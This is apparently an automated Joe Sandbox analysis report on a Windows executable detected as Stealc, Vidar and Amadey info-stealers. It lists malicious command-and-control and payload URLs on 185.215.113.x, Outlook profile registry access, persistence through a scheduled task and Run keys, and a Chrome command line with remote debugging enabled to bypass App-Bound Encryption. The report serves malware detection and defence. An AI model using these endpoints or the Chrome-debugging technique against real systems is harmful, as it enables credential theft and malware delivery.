Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.2571550007.000000000169E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1980746519.00000000001D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1661477949.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1987019015.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2568449016.0000000000971000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2527772656.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2012aae27e.exe PID: 7164, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0C40 sqlite3_bind_zeroblob,	0_2_6C7A0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0D60 sqlite3_bind_parameter_name,	0_2_6C7A0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C8EA0 sqlite3_clear_bindings,	0_2_6C6C8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C7A0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6410 bind,WSAGetLastError,	0_2_6C6C6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6070 PR_Listen,	0_2_6C6C6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C6CC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CC030 sqlite3_bind_parameter_count,	0_2_6C6CC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C60B0 listen,WSAGetLastError,	0_2_6C6C60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522D0 sqlite3_bind_blob,	0_2_6C6522D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C63C0 PR_Bind,	0_2_6C6C63C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C9400 sqlite3_bind_int64,	0_2_6C6C9400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C94F0 sqlite3_bind_text16,	0_2_6C6C94F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C94C0 sqlite3_bind_text,	0_2_6C6C94C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C9480 sqlite3_bind_null,	0_2_6C6C9480
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B7EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	12_2_00B7EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B7DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	12_2_00B7DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	12 Process Injection	12 Software Packing	NTDS	651 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	261 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	261 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\DocumentsJJKEBGHJKF.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\DocumentsJJKEBGHJKF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.43/Zu7JuNko/index.php5763001	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpa	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpm	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpu	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpn(S	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpsdX	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dll3	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpK%	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php3	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dllz/;	100%	Avira URL Cloud	malware
http://185.215.113.2068A	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php%/	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpSession	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe:2	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe?3	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeZ	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe61395d7fC_	100%	Avira URL Cloud	phishing
http://185.215.113.16/mine/random.exe;R	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/nss3.dllG	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exek3;	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php7Z	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpQ	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.181.238	true	false	high
play.google.com	142.250.185.206	true	false	high
www.google.com	142.250.185.164	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.16/steam/random.exe	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	DGCBAFIJ.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, DGCBAFIJ.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpW	skotes.exe, 0000000C.00000002.2906621751.0000000001344000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.broofa.com	chromecache_78.3.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php5763001	skotes.exe, 0000000C.00000002.2906621751.0000000001308000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpa	2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpn(S	file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpsdX	skotes.exe, 0000000C.00000002.2906621751.0000000001344000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, DGCBAFIJ.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dllz/;	file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpm	2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 0000000C.00000002.2906621751.0000000001344000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1814738702.000000001D5ED000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll3	file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 0000000C.00000002.2906621751.0000000001308000.00000004.00000020.00020000.00000000.sdmp	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_80.3.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpu	2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206Local	file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpK%	file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php3	skotes.exe, 0000000C.00000002.2906621751.000000000131D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php4	skotes.exe, 0000000C.00000002.2906621751.0000000001308000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	FCFBFHIEBKJKFHIEBFBA.0.dr	false		high
http://185.215.113.2068A	2012aae27e.exe, 0000000E.00000002.2571550007.000000000169E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, DGCBAFIJ.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php%/	file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe61395d7fC_	skotes.exe, 0000000C.00000002.2906621751.00000000012EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://apis.google.com	chromecache_80.3.dr, chromecache_78.3.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php-	skotes.exe, 0000000C.00000002.2906621751.0000000001344000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/J	2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeZ	skotes.exe, 0000000C.00000002.2906621751.00000000012EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://domains.google.com/suggest/flow	chromecache_80.3.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2016479995.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007740395.000000001D6E2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe?3	skotes.exe, 0000000C.00000002.2906621751.000000000131D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2016890475.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	DGCBAFIJ.0.dr	false		high
http://185.215.113.206/x	2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, DGCBAFIJ.0.dr	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/	2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1814738702.000000001D5ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	DGCBAFIJ.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpSession	file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe:2	skotes.exe, 0000000C.00000002.2906621751.000000000131D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://plus.google.com	chromecache_80.3.dr	false		high
https://ac.ecosia.org/autocomplete?q=	DGCBAFIJ.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_78.3.dr	false		high
http://185.215.113.16/mine/random.exe;R	file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.php=	2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, FCFBFHIEBKJKFHIEBFBA.0.dr	false		high
http://185.215.113.16/off/random.exek3;	skotes.exe, 0000000C.00000002.2906621751.000000000131D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllG	file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php7Z	file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/random.exe	skotes.exe, 0000000C.00000002.2906621751.000000000129A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000C.00000002.2906621751.000000000131D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	HDAFIIDAKJDGDHIDAKJJJEHCFB.0.dr	false		high
http://185.215.113.206	file.exe, 00000000.00000002.1987019015.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp, 2012aae27e.exe, 0000000E.00000002.2571550007.000000000169E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpQ	2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpk	skotes.exe, 0000000C.00000002.2906621751.00000000012EC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	DGCBAFIJ.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpo	skotes.exe, 0000000C.00000002.2906621751.0000000001344000.00000004.00000020.00020000.00000000.sdmp	false		high
https://clients6.google.com	chromecache_80.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.238	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554485
Start date and time:	2024-11-12 15:40:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@34/43@6/8
EGA Information:	Successful, ratio: 80%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 142.251.5.84, 142.250.185.206, 34.104.35.123, 142.250.185.99, 142.250.186.42, 142.250.185.138, 172.217.18.106, 142.250.185.202, 142.250.185.106, 142.250.185.234, 216.58.206.42, 142.250.185.74, 142.250.74.202, 142.250.185.170, 142.250.184.202, 142.250.186.74, 216.58.206.74, 172.217.23.106, 142.250.181.234, 142.250.186.170, 2.16.164.105, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7284 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:42:01	API Interceptor	1203x Sleep call for process: skotes.exe modified
14:41:30	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
14:42:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b617b009b1.exe C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe
14:42:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b617b009b1.exe C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
